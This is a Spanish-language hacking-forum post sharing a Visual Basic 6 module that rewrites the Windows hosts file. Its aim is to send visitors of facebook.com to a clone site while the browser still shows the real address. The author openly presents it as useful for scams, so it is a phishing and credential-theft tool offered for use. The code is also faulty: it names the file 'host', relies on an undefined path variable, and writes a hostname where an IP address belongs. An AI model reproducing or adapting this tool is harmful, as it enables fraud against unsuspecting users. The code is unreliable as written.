mirando en el baul de los recuerdos de mis codes, encontré este:
este es un modulo que nos permite hacer que al entrar a una web redirija a otra, sin mostrarnos un cambio de url, por ejemplo que al entrar a google carge infiernohacker pero siga diciendo "http://google.com"
nuevo proyecto exe standard, borramos el formulario principal, agregamos un modulo y pegamos este codigo:
'###################################################################
'
' #### #### #### #### #### ## ## ## ## ## #### ####
' # # # # # # # # # # # # # # # # # # # # # #
' # # # # # # # # # # # # ### # # ### # # # #
' #### #### # # # ## #### ###### # # # # # # #### # #
' # ## # # # # ## # # # # # # # # #
' # # # # # # # # # # # # # # # # # #
' # # # #### #### # # # # # # # # #### ####
'
' ##### ## ##
' # # # #
' # # # #
' ##### ##
' # # ##
' # # ##
' ##### ####
'
' ## ## # #### ## ## ##### # ## # ## ##### # ##
' # # # # # # # # # # ## # ## # # ## #
' # # # # # # # # # # # # # # # # # # # #
' ###### ##### #### ### # # # # # # # # ##### # # #
' # # # # ## # # # # # # # # # # # # # #
' # # # # # # # # # # # ## # ## # # ##
' ## ## ## ## ## ## ## ## ##### ## # ## # ##### ## #
'
'#####################################################################
'###########################
'# HostEditModule #
'# programmed by harkonnen #
'# INFIERNOHACKER.COM #
'# (c) 2011 #
'###########################
' &&& detalles &&&
' este modulo hace que al ingresar a una web desde un navegador que use el protocolo TCP/IP de windows, redirija hacia alguna otra web.
' para ello editaremos el archivo HOST de windows.
' ademas demostramos el uso de Environ para obtener el contenido de las variables de enotrno de CMD en este caso Windir
'########### constantes ########
Const Initialpage1 = "facebook.com" 'pagina n° 1 a ser reemplazada
'Const initialpage2 = "hotmail.com"
Const replacepage1 = "facebook.clonesweb.com" 'pagina n° 1 de reemplazo
'const replacepage2 = "hotmail.clonesweb.com"
Public Sub main() 'iniciamos programa
Dim inmemory As String
Dim alex As Long 'usaremos alex como una variable puntero (asi le digo yo)
alex = FreeFile 'aclaramos que alex sera para libre archivo
Open winrut & "\system32\drivers\etc\host" For Input As #alex 'abrimos el archivo usando la variable alex
inmemory = Input(LOF(alex), #alex) 'cargamos en la variable inmemory lo que tenga ya el archivo
Close #alex 'cerramos e archivo que estaba habierto en la variable alex
inmemory = inmemory & replacepage1 & " " & Initialpage1 & vbCrLf 'agregamos la nueva redireccion
'inmemory = inmemory & replacepage2 & " " & initialpage2 & vbCrLf ' la segunda redireccion
Open winrut & "\system32\drivers\etc\host" For Output As #alex 'cargamos de nuevo el archivo en la variable alex solo que esta ves para salida, borrando asi su contenido
Print #alex, inmemory 'ponemos el archivo modificado
Close #alex 'cerramos guardando todo.
'asi de simple, modificamos el archivo Host de windows XP para que al ingresar a una página redirija a otra. es bueno para scams y otras cosas...
End Sub
en el ejemplo reemplaza facebook.com por facebook.clonesweb.com xDDD sirve para scams ::) ::) no se me hagan los lamercillos, es solo un ejemplo.
saludos!